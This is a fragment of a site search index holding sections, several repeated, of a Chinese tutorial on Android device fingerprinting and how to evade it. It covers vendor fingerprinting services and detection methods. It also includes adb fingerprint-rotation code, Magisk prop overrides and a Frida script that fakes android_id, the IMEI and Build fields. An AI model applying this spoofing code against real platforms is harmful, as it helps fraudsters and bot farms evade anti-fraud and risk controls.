hashlib.md5(json.dumps(fp).encode()).hexdigest() if fp_hash not in self.used_fingerprints: self.used_fingerprints.add(fp_hash) return fp def apply_fingerprint(self, adb_device, fingerprint): \"\"\"将指纹应用到设备\"\"\" # 修改系统属性 for key, value in fingerprint['build_props'].items(): adb_device.shell(f\"setprop {key} {value}\") # 安装预设 App for apk in fingerprint['apps']: adb_device.install(apk) # 设置位置 adb_device.shell(f\"settings put secure location_mode 3\") adb_device.shell( f\"am startservice -a com.example.fakelocation \" f\"--es lat {fingerprint['location']['lat']} \" f\"--es lng {fingerprint['location']['lng']}\" ) def rotate_fingerprint(self, adb_device, interval_hours=24): \"\"\"定期轮换设备指纹\"\"\" while True: new_fp = self.get_unused_fingerprint() self.apply_fingerprint(adb_device, new_fp) # 记录使用历史 self.db.log_usage(adb_device.serial, new_fp, timestamp=time.time()) time.sleep(interval_hours * 3600) ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:3:5","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#构建一致性的设备画像"},{"categories":null,"collections":null,"content":"商业化产品与服务 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#商业化产品与服务"},{"categories":null,"collections":null,"content":"国内主流设备指纹服务商 1. 顶象科技 (DingXiang) 产品: 顶象设备指纹 (Device Fingerprint) 技术特点： 采集 200+ 设备特征维度 支持 Android、iOS、Web、小程序 99.9%+ 设备唯一性识别率 设备指纹有效期 90 天+ 支持私有化部署 定价：按 API 调用次数计费，企业版约 0.005-0.01 元/次 2. 同盾科技 (Tongdun) 产品: 同盾设备指纹 技术特点： 结合 AI 和大数据分析 设备行为画像 实时风险决策 覆盖金融、电商、O2O 等场景 API 示例： import requests import time def tongdun_device_risk(device_id, event_type): \"\"\"调用同盾设备风险评估 API\"\"\" url = \"https://api.tongdun.cn/riskService\" params = { \"partner_code\": \"your_partner_code\", \"device_id\": device_id, \"event_type\": event_type, # 如: login, register, pay \"timestamp\": int(time.time() * 1000) } # 添加签名 params[\"sign\"] = generate_sign(params) response = requests.post(url, json=params) result = response.json() return { \"risk_score\": result[\"final_score\"], # 风险分数 0-100 \"risk_level\": result[\"risk_level\"], # high/medium/low \"device_labels\": result[\"labels\"] # 设备标签 } 3. 数美科技 (ISHUMEI) 技术特点： 专注于内容安全和业务安全 设备指纹+行为分析 实时黑产设备库 支持多场景风控 应用场景： 羊毛党识别 虚假注册拦截 刷单检测 恶意爬虫识别 4. 网易易盾 (NetEase YiDun) 产品: 易盾设备指纹 技术特点： 网易内部风控技术外化 游戏、社交场景优化 设备唯一性识别 设备环境检测（Root、模拟器、Hook 框架） SDK 集成示例（Android）： // 初始化 NECaptcha.getInstance() .init(context, \"your_business_id\", new NECaptchaListener() { @Override public void onReady() { // 获取设备指纹 String deviceId = NEDeviceRisk.getDeviceId(); } }); // 获取设备风险信息 NEDeviceRisk.check(context, new NEDeviceRiskCallback() { @Override public void onResult(NEDeviceRiskResult result) { int riskLevel = result.getRiskLevel(); // 0-4 级风险 boolean isEmulator = result.isEmulator(); boolean isRooted = result.isRoot(); boolean isHooked = result.isHook(); } }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#国内主流设备指纹服务商"},{"categories":null,"collections":null,"content":"国内主流设备指纹服务商 1. 顶象科技 (DingXiang) 产品: 顶象设备指纹 (Device Fingerprint) 技术特点： 采集 200+ 设备特征维度 支持 Android、iOS、Web、小程序 99.9%+ 设备唯一性识别率 设备指纹有效期 90 天+ 支持私有化部署 定价：按 API 调用次数计费，企业版约 0.005-0.01 元/次 2. 同盾科技 (Tongdun) 产品: 同盾设备指纹 技术特点： 结合 AI 和大数据分析 设备行为画像 实时风险决策 覆盖金融、电商、O2O 等场景 API 示例： import requests import time def tongdun_device_risk(device_id, event_type): \"\"\"调用同盾设备风险评估 API\"\"\" url = \"https://api.tongdun.cn/riskService\" params = { \"partner_code\": \"your_partner_code\", \"device_id\": device_id, \"event_type\": event_type, # 如: login, register, pay \"timestamp\": int(time.time() * 1000) } # 添加签名 params[\"sign\"] = generate_sign(params) response = requests.post(url, json=params) result = response.json() return { \"risk_score\": result[\"final_score\"], # 风险分数 0-100 \"risk_level\": result[\"risk_level\"], # high/medium/low \"device_labels\": result[\"labels\"] # 设备标签 } 3. 数美科技 (ISHUMEI) 技术特点： 专注于内容安全和业务安全 设备指纹+行为分析 实时黑产设备库 支持多场景风控 应用场景： 羊毛党识别 虚假注册拦截 刷单检测 恶意爬虫识别 4. 网易易盾 (NetEase YiDun) 产品: 易盾设备指纹 技术特点： 网易内部风控技术外化 游戏、社交场景优化 设备唯一性识别 设备环境检测（Root、模拟器、Hook 框架） SDK 集成示例（Android）： // 初始化 NECaptcha.getInstance() .init(context, \"your_business_id\", new NECaptchaListener() { @Override public void onReady() { // 获取设备指纹 String deviceId = NEDeviceRisk.getDeviceId(); } }); // 获取设备风险信息 NEDeviceRisk.check(context, new NEDeviceRiskCallback() { @Override public void onResult(NEDeviceRiskResult result) { int riskLevel = result.getRiskLevel(); // 0-4 级风险 boolean isEmulator = result.isEmulator(); boolean isRooted = result.isRoot(); boolean isHooked = result.isHook(); } }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#1-顶象科技-dingxiang"},{"categories":null,"collections":null,"content":"国内主流设备指纹服务商 1. 顶象科技 (DingXiang) 产品: 顶象设备指纹 (Device Fingerprint) 技术特点： 采集 200+ 设备特征维度 支持 Android、iOS、Web、小程序 99.9%+ 设备唯一性识别率 设备指纹有效期 90 天+ 支持私有化部署 定价：按 API 调用次数计费，企业版约 0.005-0.01 元/次 2. 同盾科技 (Tongdun) 产品: 同盾设备指纹 技术特点： 结合 AI 和大数据分析 设备行为画像 实时风险决策 覆盖金融、电商、O2O 等场景 API 示例： import requests import time def tongdun_device_risk(device_id, event_type): \"\"\"调用同盾设备风险评估 API\"\"\" url = \"https://api.tongdun.cn/riskService\" params = { \"partner_code\": \"your_partner_code\", \"device_id\": device_id, \"event_type\": event_type, # 如: login, register, pay \"timestamp\": int(time.time() * 1000) } # 添加签名 params[\"sign\"] = generate_sign(params) response = requests.post(url, json=params) result = response.json() return { \"risk_score\": result[\"final_score\"], # 风险分数 0-100 \"risk_level\": result[\"risk_level\"], # high/medium/low \"device_labels\": result[\"labels\"] # 设备标签 } 3. 数美科技 (ISHUMEI) 技术特点： 专注于内容安全和业务安全 设备指纹+行为分析 实时黑产设备库 支持多场景风控 应用场景： 羊毛党识别 虚假注册拦截 刷单检测 恶意爬虫识别 4. 网易易盾 (NetEase YiDun) 产品: 易盾设备指纹 技术特点： 网易内部风控技术外化 游戏、社交场景优化 设备唯一性识别 设备环境检测（Root、模拟器、Hook 框架） SDK 集成示例（Android）： // 初始化 NECaptcha.getInstance() .init(context, \"your_business_id\", new NECaptchaListener() { @Override public void onReady() { // 获取设备指纹 String deviceId = NEDeviceRisk.getDeviceId(); } }); // 获取设备风险信息 NEDeviceRisk.check(context, new NEDeviceRiskCallback() { @Override public void onResult(NEDeviceRiskResult result) { int riskLevel = result.getRiskLevel(); // 0-4 级风险 boolean isEmulator = result.isEmulator(); boolean isRooted = result.isRoot(); boolean isHooked = result.isHook(); } }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#2-同盾科技-tongdun"},{"categories":null,"collections":null,"content":"国内主流设备指纹服务商 1. 顶象科技 (DingXiang) 产品: 顶象设备指纹 (Device Fingerprint) 技术特点： 采集 200+ 设备特征维度 支持 Android、iOS、Web、小程序 99.9%+ 设备唯一性识别率 设备指纹有效期 90 天+ 支持私有化部署 定价：按 API 调用次数计费，企业版约 0.005-0.01 元/次 2. 同盾科技 (Tongdun) 产品: 同盾设备指纹 技术特点： 结合 AI 和大数据分析 设备行为画像 实时风险决策 覆盖金融、电商、O2O 等场景 API 示例： import requests import time def tongdun_device_risk(device_id, event_type): \"\"\"调用同盾设备风险评估 API\"\"\" url = \"https://api.tongdun.cn/riskService\" params = { \"partner_code\": \"your_partner_code\", \"device_id\": device_id, \"event_type\": event_type, # 如: login, register, pay \"timestamp\": int(time.time() * 1000) } # 添加签名 params[\"sign\"] = generate_sign(params) response = requests.post(url, json=params) result = response.json() return { \"risk_score\": result[\"final_score\"], # 风险分数 0-100 \"risk_level\": result[\"risk_level\"], # high/medium/low \"device_labels\": result[\"labels\"] # 设备标签 } 3. 数美科技 (ISHUMEI) 技术特点： 专注于内容安全和业务安全 设备指纹+行为分析 实时黑产设备库 支持多场景风控 应用场景： 羊毛党识别 虚假注册拦截 刷单检测 恶意爬虫识别 4. 网易易盾 (NetEase YiDun) 产品: 易盾设备指纹 技术特点： 网易内部风控技术外化 游戏、社交场景优化 设备唯一性识别 设备环境检测（Root、模拟器、Hook 框架） SDK 集成示例（Android）： // 初始化 NECaptcha.getInstance() .init(context, \"your_business_id\", new NECaptchaListener() { @Override public void onReady() { // 获取设备指纹 String deviceId = NEDeviceRisk.getDeviceId(); } }); // 获取设备风险信息 NEDeviceRisk.check(context, new NEDeviceRiskCallback() { @Override public void onResult(NEDeviceRiskResult result) { int riskLevel = result.getRiskLevel(); // 0-4 级风险 boolean isEmulator = result.isEmulator(); boolean isRooted = result.isRoot(); boolean isHooked = result.isHook(); } }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#3-数美科技-ishumei"},{"categories":null,"collections":null,"content":"国内主流设备指纹服务商 1. 顶象科技 (DingXiang) 产品: 顶象设备指纹 (Device Fingerprint) 技术特点： 采集 200+ 设备特征维度 支持 Android、iOS、Web、小程序 99.9%+ 设备唯一性识别率 设备指纹有效期 90 天+ 支持私有化部署 定价：按 API 调用次数计费，企业版约 0.005-0.01 元/次 2. 同盾科技 (Tongdun) 产品: 同盾设备指纹 技术特点： 结合 AI 和大数据分析 设备行为画像 实时风险决策 覆盖金融、电商、O2O 等场景 API 示例： import requests import time def tongdun_device_risk(device_id, event_type): \"\"\"调用同盾设备风险评估 API\"\"\" url = \"https://api.tongdun.cn/riskService\" params = { \"partner_code\": \"your_partner_code\", \"device_id\": device_id, \"event_type\": event_type, # 如: login, register, pay \"timestamp\": int(time.time() * 1000) } # 添加签名 params[\"sign\"] = generate_sign(params) response = requests.post(url, json=params) result = response.json() return { \"risk_score\": result[\"final_score\"], # 风险分数 0-100 \"risk_level\": result[\"risk_level\"], # high/medium/low \"device_labels\": result[\"labels\"] # 设备标签 } 3. 数美科技 (ISHUMEI) 技术特点： 专注于内容安全和业务安全 设备指纹+行为分析 实时黑产设备库 支持多场景风控 应用场景： 羊毛党识别 虚假注册拦截 刷单检测 恶意爬虫识别 4. 网易易盾 (NetEase YiDun) 产品: 易盾设备指纹 技术特点： 网易内部风控技术外化 游戏、社交场景优化 设备唯一性识别 设备环境检测（Root、模拟器、Hook 框架） SDK 集成示例（Android）： // 初始化 NECaptcha.getInstance() .init(context, \"your_business_id\", new NECaptchaListener() { @Override public void onReady() { // 获取设备指纹 String deviceId = NEDeviceRisk.getDeviceId(); } }); // 获取设备风险信息 NEDeviceRisk.check(context, new NEDeviceRiskCallback() { @Override public void onResult(NEDeviceRiskResult result) { int riskLevel = result.getRiskLevel(); // 0-4 级风险 boolean isEmulator = result.isEmulator(); boolean isRooted = result.isRoot(); boolean isHooked = result.isHook(); } }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#4-网易易盾-netease-yidun"},{"categories":null,"collections":null,"content":"国际知名产品 1. FingerprintJS 类型: 开源 + 商业版 特点： 主要用于 Web 浏览器指纹 开源版本基础功能免费 Pro 版提供 99.5% 准确率 使用示例： import FingerprintJS from \"@fingerprintjs/fingerprintjs\"; // 初始化 agent const fpPromise = FingerprintJS.load(); // 获取访客标识 fpPromise .then((fp) =\u003e fp.get()) .then((result) =\u003e { // 访客标识 const visitorId = result.visitorId; console.log(visitorId); // 所有组件（浏览器特征） console.log(result.components); }); 2. DeviceAtlas 特点： 包含数万种设备型号 主要用于移动广告和分析 支持云端 API 和本地部署 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#国际知名产品"},{"categories":null,"collections":null,"content":"国际知名产品 1. FingerprintJS 类型: 开源 + 商业版 特点： 主要用于 Web 浏览器指纹 开源版本基础功能免费 Pro 版提供 99.5% 准确率 使用示例： import FingerprintJS from \"@fingerprintjs/fingerprintjs\"; // 初始化 agent const fpPromise = FingerprintJS.load(); // 获取访客标识 fpPromise .then((fp) =\u003e fp.get()) .then((result) =\u003e { // 访客标识 const visitorId = result.visitorId; console.log(visitorId); // 所有组件（浏览器特征） console.log(result.components); }); 2. DeviceAtlas 特点： 包含数万种设备型号 主要用于移动广告和分析 支持云端 API 和本地部署 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#1-fingerprintjs"},{"categories":null,"collections":null,"content":"国际知名产品 1. FingerprintJS 类型: 开源 + 商业版 特点： 主要用于 Web 浏览器指纹 开源版本基础功能免费 Pro 版提供 99.5% 准确率 使用示例： import FingerprintJS from \"@fingerprintjs/fingerprintjs\"; // 初始化 agent const fpPromise = FingerprintJS.load(); // 获取访客标识 fpPromise .then((fp) =\u003e fp.get()) .then((result) =\u003e { // 访客标识 const visitorId = result.visitorId; console.log(visitorId); // 所有组件（浏览器特征） console.log(result.components); }); 2. DeviceAtlas 特点： 包含数万种设备型号 主要用于移动广告和分析 支持云端 API 和本地部署 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:4:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#2-deviceatlas"},{"categories":null,"collections":null,"content":"开源工具与框架 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:5:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#开源工具与框架"},{"categories":null,"collections":null,"content":"设备指纹采集框架 1. FingerprintJS GitHub: https://github.com/fingerprintjs/fingerprintjs 轻量级浏览器指纹库 纯 JavaScript 实现 采集 Canvas、WebGL、Audio 等特征 2. android-device-names 支持 12000+ 设备型号 可以根据 Build.MODEL 获取市场化设备名称 DeviceName.with(context).request(new DeviceName.Callback() { @Override public void onFinished(DeviceName.DeviceInfo info, Exception error) { String manufacturer = info.manufacturer; // \"Samsung\" String marketName = info.marketName; // \"Galaxy S21\" String model = info.model; // \"SM-G991B\" String codename = info.codename; // \"o1s\" } }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:5:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#设备指纹采集框架"},{"categories":null,"collections":null,"content":"设备指纹采集框架 1. FingerprintJS GitHub: https://github.com/fingerprintjs/fingerprintjs 轻量级浏览器指纹库 纯 JavaScript 实现 采集 Canvas、WebGL、Audio 等特征 2. android-device-names 支持 12000+ 设备型号 可以根据 Build.MODEL 获取市场化设备名称 DeviceName.with(context).request(new DeviceName.Callback() { @Override public void onFinished(DeviceName.DeviceInfo info, Exception error) { String manufacturer = info.manufacturer; // \"Samsung\" String marketName = info.marketName; // \"Galaxy S21\" String model = info.model; // \"SM-G991B\" String codename = info.codename; // \"o1s\" } }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:5:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#1-fingerprintjs-1"},{"categories":null,"collections":null,"content":"设备指纹采集框架 1. FingerprintJS GitHub: https://github.com/fingerprintjs/fingerprintjs 轻量级浏览器指纹库 纯 JavaScript 实现 采集 Canvas、WebGL、Audio 等特征 2. android-device-names 支持 12000+ 设备型号 可以根据 Build.MODEL 获取市场化设备名称 DeviceName.with(context).request(new DeviceName.Callback() { @Override public void onFinished(DeviceName.DeviceInfo info, Exception error) { String manufacturer = info.manufacturer; // \"Samsung\" String marketName = info.marketName; // \"Galaxy S21\" String model = info.model; // \"SM-G991B\" String codename = info.codename; // \"o1s\" } }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:5:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#2-android-device-names"},{"categories":null,"collections":null,"content":"反指纹工具 1. Magisk 模块 # 修改设备指纹 props ro.build.fingerprint \"google/raven/raven:12/...\" props ro.product.model \"Pixel 6\" # 应用修改 props ro.build.product \"raven\" 2. Xposed 模块 XPrivacyLua GitHub: https://github.com/M66B/XPrivacyLua 细粒度权限控制 API 返回值 Hook 设备信息伪造 3. Frida 脚本库 常用的设备信息 Hook 脚本： Java.perform(function() { // 拦截 Build 类所有字段 var Build = Java.use(\"android.os.Build\"); Build.BRAND.value = \"google\"; Build.MODEL.value = \"Pixel 6\"; Build.DEVICE.value = \"raven\"; Build.PRODUCT.value = \"raven\"; Build.MANUFACTURER.value = \"Google\"; // Hook Settings.Secure var Settings = Java.use(\"android.provider.Settings$Secure\"); Settings.getString.overload( \"android.content.ContentResolver\", \"java.lang.String\" ).implementation = function(resolver, name) { if (name == \"android_id\") { return \"fake_android_id_12345678\"; } return this.getString(resolver, name); }; // Hook TelephonyManager var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function() { return \"fake_imei_123456789012345\"; }; }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:5:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#反指纹工具"},{"categories":null,"collections":null,"content":"反指纹工具 1. Magisk 模块 # 修改设备指纹 props ro.build.fingerprint \"google/raven/raven:12/...\" props ro.product.model \"Pixel 6\" # 应用修改 props ro.build.product \"raven\" 2. Xposed 模块 XPrivacyLua GitHub: https://github.com/M66B/XPrivacyLua 细粒度权限控制 API 返回值 Hook 设备信息伪造 3. Frida 脚本库 常用的设备信息 Hook 脚本： Java.perform(function() { // 拦截 Build 类所有字段 var Build = Java.use(\"android.os.Build\"); Build.BRAND.value = \"google\"; Build.MODEL.value = \"Pixel 6\"; Build.DEVICE.value = \"raven\"; Build.PRODUCT.value = \"raven\"; Build.MANUFACTURER.value = \"Google\"; // Hook Settings.Secure var Settings = Java.use(\"android.provider.Settings$Secure\"); Settings.getString.overload( \"android.content.ContentResolver\", \"java.lang.String\" ).implementation = function(resolver, name) { if (name == \"android_id\") { return \"fake_android_id_12345678\"; } return this.getString(resolver, name); }; // Hook TelephonyManager var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function() { return \"fake_imei_123456789012345\"; }; }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:5:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#1-magisk-模块"},{"categories":null,"collections":null,"content":"反指纹工具 1. Magisk 模块 # 修改设备指纹 props ro.build.fingerprint \"google/raven/raven:12/...\" props ro.product.model \"Pixel 6\" # 应用修改 props ro.build.product \"raven\" 2. Xposed 模块 XPrivacyLua GitHub: https://github.com/M66B/XPrivacyLua 细粒度权限控制 API 返回值 Hook 设备信息伪造 3. Frida 脚本库 常用的设备信息 Hook 脚本： Java.perform(function() { // 拦截 Build 类所有字段 var Build = Java.use(\"android.os.Build\"); Build.BRAND.value = \"google\"; Build.MODEL.value = \"Pixel 6\"; Build.DEVICE.value = \"raven\"; Build.PRODUCT.value = \"raven\"; Build.MANUFACTURER.value = \"Google\"; // Hook Settings.Secure var Settings = Java.use(\"android.provider.Settings$Secure\"); Settings.getString.overload( \"android.content.ContentResolver\", \"java.lang.String\" ).implementation = function(resolver, name) { if (name == \"android_id\") { return \"fake_android_id_12345678\"; } return this.getString(resolver, name); }; // Hook TelephonyManager var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function() { return \"fake_imei_123456789012345\"; }; }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:5:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#2-xposed-模块"},{"categories":null,"collections":null,"content":"反指纹工具 1. Magisk 模块 # 修改设备指纹 props ro.build.fingerprint \"google/raven/raven:12/...\" props ro.product.model \"Pixel 6\" # 应用修改 props ro.build.product \"raven\" 2. Xposed 模块 XPrivacyLua GitHub: https://github.com/M66B/XPrivacyLua 细粒度权限控制 API 返回值 Hook 设备信息伪造 3. Frida 脚本库 常用的设备信息 Hook 脚本： Java.perform(function() { // 拦截 Build 类所有字段 var Build = Java.use(\"android.os.Build\"); Build.BRAND.value = \"google\"; Build.MODEL.value = \"Pixel 6\"; Build.DEVICE.value = \"raven\"; Build.PRODUCT.value = \"raven\"; Build.MANUFACTURER.value = \"Google\"; // Hook Settings.Secure var Settings = Java.use(\"android.provider.Settings$Secure\"); Settings.getString.overload( \"android.content.ContentResolver\", \"java.lang.String\" ).implementation = function(resolver, name) { if (name == \"android_id\") { return \"fake_android_id_12345678\"; } return this.getString(resolver, name); }; // Hook TelephonyManager var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function() { return \"fake_imei_123456789012345\"; }; }); ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:5:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#3-frida-脚本库"},{"categories":null,"collections":null,"content":"对抗与挑战 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:6:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#对抗与挑战"},{"categories":null,"collections":null,"content":"Hook 框架检测 检查 /proc/self/maps 中是否加载了 frida-agent.so 或 XposedBridge.jar 检测 Frida 的默认端口 27042 通过 try-catch 执行一个会因 Xposed 修改而改变行为的函数，判断是否抛出异常 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:6:1","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#hook-框架检测"},{"categories":null,"collections":null,"content":"服务端交叉验证 这是设备指纹技术最强大的地方。后端服务会将客户端上传的几百个维度的指纹数据进行交叉比对。一个 IMEI 显示是三星设备，但 Build.FINGERPRINT 却属于小米，这种矛盾会立刻导致该设备被标记为高风险。 交叉验证规则示例： class FingerprintValidator: def __init__(self): self.device_database = self.load_device_db() self.inconsistency_rules = self.load_rules() def validate_fingerprint(self, fingerprint): \"\"\"验证设备指纹一致性\"\"\" issues = [] # 规则1：品牌与型号匹配 if not self.check_brand_model_match( fingerprint['brand'], fingerprint['model'] ): issues.append({ 'type': 'brand_model_mismatch', 'severity': 'high', 'message': f\"Brand {fingerprint['brand']} does not match model {fingerprint['model']}\" }) # 规则2：屏幕分辨率与型号匹配 expected_resolution = self.device_database.get_resolution(fingerprint['model']) if fingerprint['screen_resolution'] != expected_resolution: issues.append({ 'type': 'resolution_mismatch', 'severity': 'medium', 'message': f\"Unexpected resolution for {fingerprint['model']}\" }) # 规则3：传感器列表完整性 expected_sensors = self.device_database.get_sensors(fingerprint['model']) if len(fingerprint['sensors']) \u003c len(expected_sensors) * 0.8: issues.append({ 'type': 'sensor_missing', 'severity': 'high', 'message': 'Too few sensors for this device model' }) return { 'is_valid': len(issues) == 0, 'risk_score': self.calculate_risk_score(issues), 'issues': issues } ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:6:2","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#服务端交叉验证"},{"categories":null,"collections":null,"content":"机器学习检测 使用标注数据训练模型，识别真实设备 vs 伪造设备： from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier from sklearn.neural_network import MLPClassifier import numpy as np class DeviceAuthenticityClassifier: def __init__(self): self.models = { 'random_forest': RandomForestClassifier(n_estimators=200, max_depth=15), 'gradient_boosting': GradientBoostingClassifier(n_estimators=100), 'neural_network': MLPClassifier(hidden_layer_sizes=(128, 64, 32)) } self.feature_extractor = FeatureExtractor() def train(self, X_train, y_train): \"\"\" 训练分类器 X_train: 设备指纹特征 y_train: 标签 (0=伪造, 1=真实) \"\"\" for name, model in self.models.items(): print(f\"Training {name}...\") model.fit(X_train, y_train) def predict(self, fingerprint): \"\"\"预测设备真实性\"\"\" features = self.feature_extractor.extract(fingerprint) # 集成投票 votes = [] probabilities = [] for name, model in self.models.items(): pred = model.predict([features])[0] prob = model.predict_proba([features])[0] votes.append(pred) probabilities.append(prob[1]) # 真实设备概率 # 加权平均 avg_probability = np.mean(probabilities) return { 'is_genuine': avg_probability \u003e 0.5, 'confidence': avg_probability, 'votes': dict(zip(self.models.keys(), votes)) } ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:6:3","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#机器学习检测"},{"categories":null,"collections":null,"content":"实战案例分析 💡 思路一句话: 抓包 + hook 双管齐下 — 抓包看请求中携带了哪些设备信息字段，hook 系统 API (Build, TelephonyManager, Settings.Secure) 确认数据来源，然后逐一伪造。 ","date":"2024-11-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/:7:0","tags":["加密分析","Hook","反检测","IDA Pro","Native层","浏览器指纹"],"title":"设备指纹技术深度解析与绕过策略","uri":"/reverse_engineering/android/01-recipes/anti-detection/device_fingerprinting_and_bypass/#实战案例分析"},{"categories":null,"collections":null,"content":"案例 1：某电商平台设备指纹分析 💡 思路一句话: mitmproxy 拦截请求 → 找到 device_id/fingerprint 参数 → jadx 搜索参数名定位采集代码 → Frida hook 